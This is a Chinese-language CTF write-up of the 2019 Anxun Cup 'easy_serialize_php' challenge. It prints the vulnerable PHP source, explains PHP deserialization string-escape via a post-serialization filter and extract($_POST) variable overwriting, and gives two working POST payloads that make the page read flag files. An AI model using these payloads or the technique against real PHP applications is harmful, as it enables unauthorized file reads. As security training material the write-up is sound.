easy_serialize_php

[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

先查看phpinfo中的内容

phpinfophpinfo

发现一个php文件 d0g3_f1ag.php,直接访问发现没有任何东西所以猜测需要读取文件内容

继续查看代码,发现了序列化,然后出现了一些过滤。

序列化 + 字符串过滤 就可以考虑一下题目的方向是不是php反序列化的字符串逃逸

复习

这里复习一下php反序列化字符串逃逸

序列化对于不同类型得到的字符串格式为:

String:  s:size:value;
Integer: i:value;
Boolean: b:value;(value为1或0)
Null: N;
Array: a:size:{s:strlen(key1):key;s;strlen(value1):value1;……}
Object: O:strlen(object name):object name:object size:{s:strlen(属性):属性;s;strlen(属性值):属性值;……}

序列化的正常状态应该是

image-20210322140227950image-20210322140227950

造成PHP反序列化字符串逃逸主要有两种情况:增加字符串与减少字符串;

PHP反序列化时规则

  1. 数组和类反序列化时是从{ 开始,以;为分隔符,以}为结尾
  2. 反序列化时会根据长度判断内容,如果指定的长度和后面对应的字符串不一样就会报错
  3. 反序列化的对象个数和后面的需要对应,不然就会反序列化失败

本题使用的时字符串减少时造成的反序列化逃逸,所以简单复习一下字符减少时的字符逃逸问题

image-20210322142321996image-20210322142321996

由于被过滤特殊的字符串,所以被过滤后字符串的长度出错导致反序列化时出现问题

传入特殊的参数,使被替换后字符串能够闭合并且长度符合要求,使过滤后也能反序列化

image-20210322155236435image-20210322155236435

这里传入一个序列化样式的字符串后,发现可以满足被过滤后的前一个序列化要求,但是仍然不能成功反序列化,这是因为这里的序列化中的元素个数为2少了一个,所以我们需要重新多构造一个;

image-20210322155811313image-20210322155811313

这里就通过构造特殊样式的字符串的实现了php反序列化逃逸

解题

引号不能出现再变量名中,所以这里传入参数是不需要使用引号,本地测试不使用引号是可以的

image-20210322134952378image-20210322134952378

所以这里使用的payload是_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

image-20210322133010914image-20210322133010914

有点坑,提示居然在网页源码中

下一个读取的文件应该是/d0g3_fllllllag

按照上面的方法同样构造就可以了

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

image-20210322133916929image-20210322133916929

最后修改于:2021年03月31日 21:50

添加新评论